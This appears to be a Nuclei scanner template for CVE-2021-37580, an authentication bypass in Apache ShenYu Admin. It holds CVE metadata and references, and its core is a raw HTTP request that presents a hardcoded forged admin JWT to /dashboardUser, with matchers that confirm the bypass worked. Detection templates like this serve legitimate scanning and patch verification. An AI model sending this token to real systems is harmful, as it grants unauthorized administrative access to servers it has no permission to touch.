51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: CVE-2021-37580
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info:
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name: Apache ShenYu Admin JWT - Authentication Bypass
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author: pdteam
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severity: critical
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description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
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impact: |
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This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
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remediation: |
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Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
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- https://github.com/fengwenhua/CVE-2021-37580
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- https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
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- http://www.openwall.com/lists/oss-security/2021/11/16/1
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-37580
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cwe-id: CWE-287
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epss-score: 0.92774
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epss-percentile: 0.99015
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cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: apache
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product: shenyu
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tags: cve2021,cve,apache,jwt,shenyu
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http:
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- raw:
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- |
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GET /dashboardUser HTTP/1.1
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Host: {{Hostname}}
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X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'query success'
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- '"userName":"admin"'
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- '"code":200'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a004730450221008dc817a42d582540241a41c989a303ff874434de3f13d3696356f016dbbf7d26022078549e217e3ab9625e7da831d7b6b2071ed2f72bbeb8bc3adfa87b37e2c507e9:922c64590222798bb761d5b6d8e72950 |